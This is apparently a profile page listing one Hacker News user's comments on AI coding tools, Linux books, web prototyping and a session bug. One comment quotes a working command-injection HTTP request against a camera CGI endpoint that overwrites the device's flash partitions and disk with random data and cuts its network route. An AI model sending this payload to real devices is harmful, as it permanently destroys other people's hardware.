Better HN
topnewbestaskshowjobs
Log inSign up

catfood

62 karma · joined Nov 5, 2013 (13y ago) · 27 submissions

Submissions

comment 1mo ago · link · parent

I think it's one of those things where you have to work in the field to really get it and be productive. You just don't have the time or resources otherwise.

comment 1mo ago · link · parent

The should ask Claude to make the page scroll faster.

comment 3mo ago · link · parent

Letting it rip and give it full infra, db, dns, all the keys to the castle, drinking from a telemetry firehose the whole time, a huge tangled web of integrations that all kind of works. I think just offloading as much as possible is the state of things.

comment 3mo ago · link · parent

Practically free with any of the subscription plans.

comment 3mo ago · link · parent

>Auto-fix bugs and CI until green + thermonuclear review skill x3.

Gotta love this loop, I have it running while I'm asleep all the time.

comment 3mo ago · link · parent

I can't relate. It's so nice for quickly going deep on a subject you're interested in. Who cares if you typed the code in plain English?

comment 3mo ago · link · parent

It would be fun to plop Claude Code down on a phone and play with the baseband processor.

comment 7mo ago · link · parent

>And Web Serial reached mainline Firefox last week.

That's good news. I wish FF wasn't so conservative... they're missing a lot of cool APIs. Sometimes I wonder who they think their audience is. I suppose they would know better than I would.

comment 8mo ago · link · parent

One of the greatest texts ever written. Ok maybe just one of my favorites. I wouldn't mind a 2nd edition though... surely the system call interface has changed a bit since 2010.

comment 7y ago · link · parent

A bunch of different ways probably. This method is stolen from SO (works for Chrome):

const detect = () => { var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if (!fs) { console.log("FS check failed.."); return; } fs(window.TEMPORARY, 100, function (fs) {}, function (err) { console.log("Incognito"); }); };

comment 7y ago · link · parent

You're in luck, Divinity 2 runs perfectly for me on linux with Proton (with a little bit of work). Check protondb.com.

comment 8y ago · link · parent

Bisqwit: https://www.youtube.com/watch?v=eF9qWbuQLuw

Also Professor Leonard but someone already mentioned him.

comment 8y ago · link · parent

I don't do anything special for prototyping, I just use what I normally do if I were creating the real thing.

> django-admin startproject > copy+paste my webpack config for React > copy+paste my general management scripts into the package.json (mostly scripts to build the client, and if working locally also start a server)

Then if I want to deploy it, I just install nginx and gunicorn and again copy+paste my configs for those.

If I want to use mysql it's not too much trouble, takes 10 mins to get it up and running and my application hooked up to it.

comment 8y ago · link · parent

Yeah they must mean new accounts, if not then I'm lost. I guess it could have reset autoincrement but they said it didn't. The only other thing I can think of is that the signed token that's put in localStorage is sent to the server like "someuser|sometoken", the server inspects sometoken, says it checks out, then takes the client at its word that it's someuser.

comment 8y ago · link · parent

The part of that that I don't get is how a new user could have the same ID as an old (truncated) user since "our system created new records for them, with primary keys generated from the existing sequence (PostgreSQL does not reset id sequences on truncate)."

Do they mean that the only potentially exposed accounts are those that signed up after the database was restored?

comment 8y ago · link · parent

So the session keys mapped to usernames, rather than IDs in the database? Otherwise, when the database is restored with the old user IDs, the session would become invalid instead of continuing to work. This is what I'm seeing:

1. Tables truncated. 2. In this window, someone creates an account with a username that existed in the dropped database. 3. They see a blank user page because a new user record was created. 4. Database restored. 5. It's as if you're logged into the original user's account.

comment 8y ago · link · parent

"Some 55,000 devices were affected in the United States and 14,000 in China, and Iran's share of affected devices was 2 percent," Azari-Jahromi was quoted as saying.

Pretty misleading headline.

comment 8y ago · link · parent

That's how it should be done yeah. Developers on Windows seem to be really loose in their use of TCP or UDP for IPC. Even my mouse driver opens up a port on 0.0.0.0.

comment 8y ago · link · parent

The Linux Programming Interface is my favorite software book of all time. I had a problem that I think a lot of other people had, where I learned C the language pretty in depth, but didn't really know what to do with it until I read this.

comment 8y ago · link · parent

Check this one out:

'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'

comment 9y ago · link · parent

Does kaspersky AV also keep a DNS cache? That would be convenient.

comment 9y ago · link · parent

Eastern Europe eats a lot of potatoes.

Onion = Onion Router

comment 9y ago · link · parent

The point of the bootcamp is the job you get after it's over. I imagine bootcamps make deals with the local tech companies to direct the grads to them, so the bootcamp can boast high hiring rates, and the tech companies gets devs for cheap.

comment 10y ago · link · parent

UPDATE email SET deleted = 1 WHERE uuid = '3b431dc020cc404b8bbea290e91b9865';

comment 12y ago · link · parent

He worked at Sun Microsystems. His time there inspired a lot of Office Space apparently.

https://www.youtube.com/watch?v=ylnMb6niDJ0

comment 13y ago · link · parent

Might be obvious to some of you, but I use this to check what my macros expand out into to make sure the syntax is valid.

  #include <stdio.h>

  #define atoa(x) #x

  #define mdb(x) printf("%s\n", atoa(x))

  #define swap(type, x, y) do {type temp = *(x); *(x) = *(y); *(y) = temp;} while(0)

  int main(int argc, char *argv[])

  {

    int cat[2] = {33, 44};

    printf("atoa(cat): %s\n", atoa(cat)); // "cat" 
	
    mdb(swap(int, cat, cat+1)); // expands the macro inside to text 
	
    swap(int, cat, cat+1); // the macro itself 
	
    printf("cat[0]: %d\n", cat[0]); // 44 
	
    return 0;
  }